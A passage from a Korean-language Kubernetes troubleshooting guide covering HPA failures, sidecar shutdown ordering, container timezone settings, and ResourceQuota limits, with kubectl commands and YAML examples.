# metrics-server 동작 확인
kubectl get deployment metrics-server -n kube-system
kubectl top pods # 이 명령어가 실패하면 metrics-server 문제
```
#### HPA 미작동 원인 및 해결
| 증상 | 원인 | 해결 |
|------|------|------|
| `TARGETS`가 `` | metrics-server 미설치 또는 장애 | metrics-server 설치 및 상태 확인 |
| `unable to get metrics` | Pod에서 메트릭 수집 실패 | Pod의 resource requests 설정 확인 (requests 없으면 CPU 사용률 계산 불가) |
| `current replicas above Deployment.spec.replicas` | minReplicas > Deployment replicas | HPA minReplicas ≤ Deployment replicas |
| 스케일업 후 즉시 스케일다운 | stabilizationWindow 미설정 | `behavior.scaleDown.stabilizationWindowSeconds` 설정 (기본 300초) |
| `invalid metrics` | 커스텀 메트릭 소스 오류 | Prometheus Adapter 설정 확인 |
#### 올바른 HPA 설정 예제
```yaml
apiVersion: autoscaling/v2
kind: HorizontalPodAutoscaler
metadata:
name: web-hpa
spec:
scaleTargetRef:
apiVersion: apps/v1
kind: Deployment
name: web
minReplicas: 2
maxReplicas: 10
metrics:
- type: Resource
resource:
name: cpu
target:
type: Utilization
averageUtilization: 50
- type: Resource
resource:
name: memory
target:
type: Utilization
averageUtilization: 80
behavior:
scaleDown:
stabilizationWindowSeconds: 300 # 5분간 안정화 후 스케일다운
policies:
- type: Percent
value: 50 # 한 번에 최대 50%만 축소
periodSeconds: 60
scaleUp:
stabilizationWindowSeconds: 0 # 즉시 스케일업
policies:
- type: Percent
value: 100 # 한 번에 최대 100% 증가 (2배)
periodSeconds: 15
- type: Pods
value: 4 # 한 번에 최대 4개 추가
periodSeconds: 15
selectPolicy: Max # 두 정책 중 더 큰 값 선택
```
:::warning HPA를 위한 필수 조건
1. **metrics-server 설치 필수**: EKS 클러스터에 기본 설치되어 있지 않습니다.
2. **Pod에 resource requests 설정 필수**: CPU/메모리 사용률을 계산하려면 requests 값이 필요합니다.
3. **Deployment와 HPA minReplicas 일치**: Deployment의 replicas ≥ HPA minReplicas
:::
### Pattern 4: Sidecar 순서 문제
Envoy, ADOT Collector 등 sidecar 컨테이너가 메인 앱보다 먼저 종료되어 요청이 유실되는 경우입니다.
```bash
# Pod 종료 순서 확인 (로그에서 shutdown 시간 비교)
kubectl logs -c app --tail=50
kubectl logs -c envoy --tail=50
# 증상: "connection refused", "EOF", "broken pipe" 에러가 종료 시점에 발생
```
#### Kubernetes 1.28 이전: preStop Hook 사용
```yaml
apiVersion: v1
kind: Pod
metadata:
name: app-with-envoy
spec:
containers:
- name: app
image: my-app:latest
lifecycle:
preStop:
exec:
command: ["/bin/sh", "-c", "sleep 5"] # 앱이 먼저 종료되도록 대기
- name: envoy
image: envoyproxy/envoy:v1.28
lifecycle:
preStop:
exec:
command: ["/bin/sh", "-c", "sleep 15"] # Envoy는 더 오래 대기
```
#### Kubernetes 1.29+ (Native Sidecar)
Kubernetes 1.29+에서는 `restartPolicy: Always`를 설정하여 진정한 sidecar를 구현할 수 있습니다.
```yaml
apiVersion: v1
kind: Pod
metadata:
name: app-with-sidecar
spec:
initContainers:
- name: envoy
image: envoyproxy/envoy:v1.28
restartPolicy: Always # ← Native sidecar (1.29+)
# Envoy는 Pod 종료 시 가장 마지막에 종료됨
containers:
- name: app
image: my-app:latest
```
:::tip Native Sidecar의 장점
- `restartPolicy: Always`를 가진 initContainer는 sidecar로 동작
- Pod 시작 시: sidecar가 먼저 시작된 후 메인 앱 시작
- Pod 종료 시: 메인 앱이 먼저 종료되고 sidecar가 마지막에 종료
- preStop Hook의 sleep 트릭이 불필요
:::
### Pattern 5: Timezone/Locale 이슈
컨테이너의 시간대가 UTC로 고정되어 로그 타임스탬프가 맞지 않는 경우입니다.
```bash
# 컨테이너 내부 시간 확인
kubectl exec -- date
# Tue Apr 7 05:30:00 UTC 2026 ← UTC 기준
# 앱 로그 시간이 +9시간 차이 (한국 시간과 불일치)
kubectl logs | grep "ERROR"
```
#### 해결 방법
```yaml
apiVersion: v1
kind: Pod
metadata:
name: app
spec:
containers:
- name: app
image: my-app:latest
env:
- name: TZ
value: "Asia/Seoul"
# Java 앱의 경우 추가 옵션
- name: JAVA_OPTS
value: "-Duser.timezone=Asia/Seoul"
```
:::warning 컨테이너 이미지에 tzdata 설치 필요
일부 최소화된 이미지(distroless, alpine)는 timezone 데이터가 없습니다. Dockerfile에 `tzdata` 패키지를 설치하세요.
```dockerfile
# Alpine 기반
RUN apk add --no-cache tzdata
# Debian/Ubuntu 기반
RUN apt-get update && apt-get install -y tzdata
```
:::
### Pattern 6: Resource Quota 초과
Namespace에 ResourceQuota가 설정되어 있어 Pod 생성이 차단되는 경우입니다.
```bash
# ResourceQuota 확인
kubectl get resourcequota -n
# 상세 정보 (사용량/제한 비교)
kubectl describe resourcequota -n
# 증상: Pod이 Pending 상태로 멈추고 이벤트에 "exceeded quota" 메시지
kubectl describe pod -n
# Events:
# Warning FailedCreate Error creating: pods "app-xxx" is forbidden: exceeded quota: compute-quota
```
#### ResourceQuota 조정
```yaml
apiVersion: v1
kind: ResourceQuota
metadata:
name: compute-quota
namespace: production
spec:
hard:
requests.cpu: "100" # 총 CPU requests 한도
requests.memory: "200Gi" # 총 메모리 requests 한도
limits.cpu: "200" # 총 CPU limits 한도
limits.memory: "400Gi" # 총 메모리 limits 한도
pods: "100" # 최대 Pod 수
```
```bash
# ResourceQuota 업데이트
kubectl apply -f resourcequota.yaml
# 또는 임시로 삭제 (주의!)
kubectl delete resourcequota compute-quota -n production
```
:::danger LimitRange도 확인하세요
ResourceQuota 외에 LimitRange도 Pod 생성을 차단할 수 있습니다. LimitRange는 개별 Pod/Container의 최소/최대 리소스를 제한합니다.
```bash
kubectl get limitrange -n
kubectl describe limitrange -n
```
:::
## Deployment 롤아웃 디버깅
```bash
# 롤아웃 상태 확인
kubectl rollout status deployment/